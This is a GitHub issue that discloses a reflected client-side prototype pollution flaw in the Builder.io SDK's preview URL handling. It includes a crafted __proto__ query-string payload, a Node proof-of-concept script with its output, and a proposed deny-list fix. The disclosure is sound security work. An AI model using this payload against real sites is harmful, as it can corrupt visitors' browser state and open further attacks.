Skip to content

Reflected client-side prototype pollution via Builder Studio preview URL parameter #4824

Description

@geo-chen

reported via email on 5 July 2026:

Hi team,

packages/sdks/src/functions/get-content/generate-content-url.ts reads
builder.userAttributes.* query parameters from the page URL whenever the URL contains
builder.preview=BUILDER_STUDIO, and passes them through unflatten()
(packages/sdks/src/helpers/flatten.ts) without validating the key path.

const queryOptionsForUserAttributes = getUserAttributesFromQueryOptions(queryOptions);
const { userAttributes } = unflatten(queryOptionsForUserAttributes);

unflatten() has no __proto__/prototype/constructor guard, so a URL such as:

https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE

pollutes Object.prototype in the visitor's browser tab as soon as the SDK builds its next
content-fetch URL, requiring no Builder.io account and only a single click on the crafted link.

We confirmed this live against the unmodified source at commit
27e443e125c8e7f619335403cc0ecb01e03197a0. Simulating that URL and calling
generateContentUrl():

  • Before: ({}).polluted === undefined
  • After: ({}).polluted === 'PWNED_CLIENT_SIDE', on a brand-new, unrelated object in the same
    browser context.

PoC

Environment: cloned repo at commit 27e443e125c8e7f619335403cc0ecb01e03197a0, Node.js v22.12.0,
npx tsx, faking window/document before import (the standard way to exercise isomorphic
browser-only SDK code from Node, no repo files modified):

(globalThis as any).document = {};
(globalThis as any).window = {
  location: {
    search: '?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE',
    pathname: '/some-page',
    host: 'victim-site.example',
  },
};

import { generateContentUrl } from '<repo>/packages/sdks/src/functions/get-content/generate-content-url.ts';

console.log('before:', ({} as any).polluted);
const url = generateContentUrl({ apiKey: 'demo-api-key', model: 'page' } as any);
console.log('url:', url.toString());
console.log('after:', ({} as any).polluted);

Actual observed output:

=== Reflected client-side prototype pollution via URL query string ===

Simulated victim URL: https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE

Host (browser-tab) Object.prototype BEFORE:
  ({}).polluted = undefined

generateContentUrl() returned (normal Content API request URL):
  https://cdn.builder.io/api/v3/content/page?apiKey=demo-api-key&limit=30&noTraverse=true&includeRefs=true&omit=meta.componentsUsed&preview=BUILDER_STUDIO&polluted=PWNED_CLIENT_SIDE&userAttributes=%7B%22urlPath%22%3A%22%2Fsome-page%22%2C%22host%22%3A%22victim-site.example%22%7D

Host (browser-tab) Object.prototype AFTER:
  ({}).polluted = PWNED_CLIENT_SIDE

*** CONFIRMED LIVE: visiting a crafted URL polluted Object.prototype in the visitor's own browser tab ***

(full script available upon request)

This is the same bug class as a separate, more severe issue we are reporting in
packages/sdks/src/functions/set.ts (server-side, via content block bindings), and the fix is
the same: the older Gen1 SDK's packages/core/src/classes/query-string.class.ts already has a
PROPERTY_NAME_DENY_LIST = ['__proto__', 'prototype', 'constructor'] guard for the equivalent
dotted-path parsing; the same check should be added to unflatten() in
packages/sdks/src/helpers/flatten.ts.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions